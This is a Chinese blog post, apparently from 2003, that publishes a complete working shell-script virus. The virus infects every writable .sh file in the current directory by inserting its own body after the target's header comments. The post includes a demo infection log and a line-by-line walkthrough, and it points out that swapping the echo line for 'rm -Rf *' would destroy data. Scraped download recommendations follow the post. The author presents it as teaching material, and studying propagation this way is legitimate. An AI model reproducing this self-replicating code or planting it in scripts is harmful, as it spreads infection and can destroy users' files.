`

shell 病毒简介

阅读更多
1. 前言


   说起病毒总有点神秘的味道,想起以前用汇编编写第一个dos病毒时是那么的痛苦
从开始有设想到完成花了3个多月,而且写的也是乱七八糟,最近突发奇想不就是感
染其他文件,传播自己吗,用shell写一个病毒且不是非常简单,于是顺手写了如下
这么一个小脚本,功能就是感染其他shell程序。

   这个程序在现实意义不大,但对于形象的理解病毒传播机制还是很很有帮助,可以
算教学意义大于实际意义吧。


2. 程序代码


#!/bin/sh
#文件名: virus_demo.sh
#用途   : shell病毒演示。
#说明   : 病毒将感染当前目录下的所有.sh结尾的文件,但不会重复感染。
#编写   : watercloud@xfocus.org
#日期   : 2003-5-13

#B:<+!a%C&t:>
vFile=$_ ; vTmp=/tmp/.vTmp.$$
for f in ./*.sh; do
   if [ ! -w $f -a ! -r $vFile ];   then continue; fi
   if grep '<+!a%C&t:>' $f ;       then continue; fi
   if sed -n '1p' $f | grep 'csh'; then continue; fi
   cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi
   vNo=`awk '$0~/(^\b*#)|(^\b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp`
   sed -n "1,${vNo}p" $vTmp >$f
   (sed -n '/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p' $vFile ;echo ) >>$f
   vNo=`expr $vNo + 1`
   sed -n "${vNo},\$p" $vTmp >>$f
   rm -f $vTmp
done >/dev/null 2>&1
unset vTmp ;unset vFile ;unset vNo

echo "Hi, here is a demo shell virus in your script !"
#E:<+!a%C&t:>
#EOF

看shell是多么得强大,这么短短得程序就能感染其他程序文件。


3.   演示


测试一下:

先在当前目录放两个文件,一个病毒文件,一个用来作被感染测试用。
[cloud@ /export/home/cloud/vir]> ls -l
drwxr-xr-x   2 cloud     staff         512   6??   4 17:43 ./
drwxr-xr-x   10 cloud     staff       1024   6??   4 17:41 ../
-rwxr--r--   1 cloud     staff         89   6??   4 17:43 test.sh
-rwxr--r--   1 cloud     staff         773   6??   4 17:42 virus_demo.sh

来看看我们这个"肉鸡"脚本,很简单:
[cloud@ /export/home/cloud/vir]> cat test.sh
#!/bin/sh
# Just a demo for virus test
# Author : foo
# Date   : 3000-1-1

ls -l

#EOF

好了开始感染他。
[cloud@ /export/home/cloud/vir]> ./virus_demo.sh
Hi, here is a demo shell virus in your script !

来看看感染后的结果:
[cloud@ /export/home/cloud/vir]> cat test.sh
#!/bin/sh
# Just a demo for virus test
# Author : foo
# Date   : 3000-1-1

#B:<+!a%C&t:>
vFile=$_ ; vTmp=/tmp/.vTmp.$$
for f in ./*.sh; do
   if [ ! -w $f -a ! -r $vFile ];   then continue; fi
   if grep '<+!a%C&t:>' $f ;       then continue; fi
   if sed -n '1p' $f | grep 'csh'; then continue; fi
   cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi
   vNo=`awk '$0~/(^\b*#)|(^\b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp`
   sed -n "1,${vNo}p" $vTmp >$f
   (sed -n '/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p' $vFile ;echo ) >>$f
   vNo=`expr $vNo + 1`
   sed -n "${vNo},\$p" $vTmp >>$f
   rm -f $vTmp
done >/dev/null 2>&1
unset vTmp ;unset vFile ;unset vNo

echo "Hi, here is a demo shell virus in your script !"
#E:<+!a%C&t:>

ls -l

#EOF

看,病毒体:
#B:<+!a%C&t:>
. . . .
#E:<+!a%C&t:>
被拷贝过来了,这样病毒就被传播了。
值得注意的是病毒体插入的位置是在源test.sh的有效程序行的开始处!
这主要考虑到一般shell程序大家都喜欢在程序开始处作注释说明,
你好歹不能把别人的注释信息给放到后面去,那也太明显了吧。


来执行看看我们新的病毒体看看:

[cloud@ /export/home/cloud/vir]> ./test.sh
Hi, here is a demo shell virus in your script ! <-- 看,病毒体内部的打印信息。
        
-rwxr-xr-x   1 cloud     staff         724   6??   4 17:44 test.sh
-rwxr-xr-x   1 cloud     staff         773   6??   4 17:42 virus_demo.sh



4. 简单讲解


我们来一步步分析一下这个病毒:


#B:<+!a%C&t:>
病毒体开始标记,用于程序复制自己定位用

vFile=$_ ; vTmp=/tmp/.vTmp.$$
定义两个变量,一个临时文件,一个记录当前程序名称$_,这也就要求我们
必须把这行作为程序有效行的第一行,如果放后头我们就无法得到当前程序
名称,后面就找不到从哪里去找病毒体来拷贝了。

for f in ./*.sh; do
开始循环,找到当前目录下的所有.sh结尾的程序。

   if [ ! -w $f -a ! -r $vFile ];   then continue; fi
   目标是否有写权限,病毒源文件是否有读权限。

   if grep '<+!a%C&t:>' $f ;       then continue; fi
   目标是否已经中毒很深无药可救了,如果是这样还给他再来一次也太不仁义了吧?

   if sed -n '1p' $f | grep 'csh'; then continue; fi
   如果目标shell是以csh的那语法上差异太大了,放弃吧。

   cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi
   好了准备感染,先把目标拷贝一个备份,拷贝失败了怎么办?当然只好放弃了。

   vNo=`awk '$0~/(^\b*#)|(^\b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp`
   这是干嘛?好像挺复杂,不过学shell病毒不了解awk和正规表达式好像有点说不
   过去吧,这个就是找到程序开始的注释和空白行有多少,好方便我们确定病毒体
   插入点。

   sed -n "1,${vNo}p" $vTmp >$f
   一个sed命令把目标文件的开始注释部分从备份文件中copy回来。

   (sed -n '/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p' $vFile ;echo ) >>$f
   再来一个sed完成搬运病毒体的工作。

   vNo=`expr $vNo + 1`
   sed -n "${vNo},\$p" $vTmp >>$f
   最后一个sed把目标文件的其他部分搬回来,sed真强大呀!!

   rm -f $vTmp
   清理一下临时文件

done >/dev/null 2>&1
循环结束

unset vTmp ;unset vFile ;unset vNo
清理一下犯罪现场。


echo "Hi, here is a demo shell virus in your script !"
都感染了好歹也要显示点东西以告诉别人这是个被病毒感染过的程序吧。

#E:<+!a%C&t:>
病毒体结束标记,用于程序复制自己定位用




5. 后记

   从中我们可以看到脚本病毒非常简单,不需要很多知识就能写一个,而且病毒
破坏力也是不可小视比如我们的程序里把echo信息改为rm -Rf * ;同时反方面
也展示了shell的强大之处,试想传统的程序光是处理PE文件结构和ELF结构就得
花多少功夫。

   上面得程序已经在Linux和Solaris上测试通过,windows上得用户在Cygwin上
应该也行。

   顺便再强调一次,写这篇文章得目的是和大家分享一下对病毒得理解,而不是
教写病毒出去害人,切记切记!


#EOF
#GAME OVER
echo "望斧正!"
分享到:
评论

相关推荐

    linux经典shell脚本

    第三个脚本演示了一种理论上的shell病毒实现方式,该病毒可以自我复制并感染其他shell脚本文件。 **脚本核心功能:** 1. **病毒主体代码:** - 在被感染的脚本文件中插入病毒代码。 - 提示用户文件已被病毒感染...

    删除shell360ext.dll的最佳解决方法

    shell360ext.dll是与360安全卫士相关的动态链接库,主要负责提供一些系统扩展功能。然而,有时候用户可能会遇到需要删除这个文件的情况,可能是由于软件冲突、病毒感染或者误删导致的问题。本文将详细介绍如何安全...

    系统文件shell32.dll中的图标

    尽管`shell32.dll`是系统的关键组件,但有时可能会因为病毒攻击、软件冲突或更新错误导致该文件损坏或丢失,这将直接影响到系统的正常运行。当遇到与`shell32.dll`相关的问题时,通常可以通过重新注册该文件、运行...

    Shell32.dll

    由于其重要性,Shell32.dll经常成为病毒或恶意软件的目标,因为攻击者可以通过篡改或替换这个文件来实施恶意行为。 当描述中提到"被病毒篡改坏Shell32.dll(缺少条目)",这可能意味着Shell32.dll文件已经被恶意...

    UEFI_Shell_Spec_2_0.pdf

    文档提供者对材料和贡献不承担任何其他保证和条件,包括但不限于,任何(如果有的话)暗示的保证、职责或条件,例如适销性、适用特定目的的准确性或完整性、结果的准确性、工作努力、缺乏病毒和缺乏疏忽等。...

    shell2010.rar

    - **安全防护**:安装反病毒软件,防止病毒或恶意软件破坏系统文件。 - **正确卸载**:卸载软件时,应使用控制面板或官方提供的卸载工具,避免直接删除文件。 4. 关于"shell2010": "shell2010.rar"可能是针对...

    几种常见的asp shell文件 及 清除 shell文件 的方法

    几种常见的asp shell文件 及 清除 shell文件 的方法

    shellstyle

    最后,确保下载的shellstyle.dll文件来自可信赖的来源,以避免携带病毒或恶意代码。 总的来说,Shellstyle技术为Windows用户提供了一种自定义桌面体验的方式,通过更改文件夹背景等视觉元素,使操作系统更加个性化...

    感染Linux系统脚本程序的病毒技术介绍

    本文将详细介绍Linux系统中的Shell病毒技术。 首先,一个基本的Shell病毒示例是一个简单的文件复制过程。例如: ```bash for file in *; do cp $0 $file done ``` 这个脚本会尝试复制自身到当前目录下的所有文件。...

    VB病毒编程实例(用VB编写病毒)

    4. **进程控制**:VB中的Shell函数可以用来启动或控制其他程序,这在病毒隐藏自身或执行其他恶意行为时很有用。 5. **时间与事件触发**:VB提供了Timer控件和相关事件,病毒可以设置定时器来在特定时间执行恶意行为...

    Linux经典Shell脚本

    #### Shell病毒,感染其它脚本文件 虽然在正规使用中不鼓励也不提倡创建或传播恶意脚本,但在信息安全领域,了解攻击手段对于防御同样重要。 - **病毒原理**:一个简单的Shell脚本病毒,通过将自身代码插入其他...

    vs_shell2010.zip

    标题“vs_shell2010.zip”提示我们这是一个与Visual Studio 2010相关的压缩文件,可能包含用于修复或更新Visual Studio的组件。描述中提到的问题“sqlserver 管理器启动报错 cannot find one or more components....

    linux shell 实例精解

    本书重点讲述了当下最流行的两个Linux Shell——Borne Again Shell(bash)和TC Shell(tcsh),从它们...打开文档如果有乱码,可以使用这个软件:UnicornViewe,非常好用,我也上传了,欢迎大家下载,绝对没有病毒:)

    《计算机病毒与恶意代码》期末总复习

    Linux病毒包括跨平台的Win32.Winux,它们可能以shell脚本、蠕虫或利用欺骗库函数的形式存在。Linux平台的ELF(Executable and Linkable Format)文件是病毒感染的目标,感染方式多样,但Linux的安全机制,如源代码的...

    vb关机防病毒代码

    "vb关机防病毒代码"这个标题暗示了一个使用VBScript(Visual Basic Script Edition)编写的小程序,该程序可能涉及了防止病毒活动并实现系统关机的功能。 在Windows系统中,VBScript可以被用来创建批处理脚本或...

    shell_priv_bear_shell_C2_

    3. **多层防御**:采用防火墙、入侵防御系统、反病毒软件等多层次安全防护。 4. **员工培训**:提高员工对钓鱼邮件和社交工程攻击的识别能力。 5. **日志分析**:详细记录系统活动,以便在发生入侵时进行调查和回溯...

    Linux.Shell.实例精解

    本书重点讲述了当下最流行的两个Linux Shell——Borne Again Shell(bash)和TC Shell(tcsh),从它们的新特性、增加和内建...如果打开文件有乱码,使用这个软件UnicornViewer,我也上传了,欢迎下载,绝对没有病毒!

    VB写的功能比较全的病毒

    通过调用`URLDownloadToFile`函数,病毒可以从指定的URL下载可执行文件到本地磁盘,并使用`Shell`函数执行这些下载的程序,从而实现远程控制或执行其他恶意行为。 ### 7. 破坏系统工具 病毒会杀死多个系统进程,...

    xp仿vista的shell32.dll文件

    8. **安全考虑**:从非官方来源下载和安装此类修改过的系统文件可能存在安全隐患,比如恶意软件或病毒,因此建议只从可信赖的渠道获取此类资源。 总的来说,"xp仿vista的shell32.dll文件"是一种个性化系统界面的...

Global site tag (gtag.js) - Google Analytics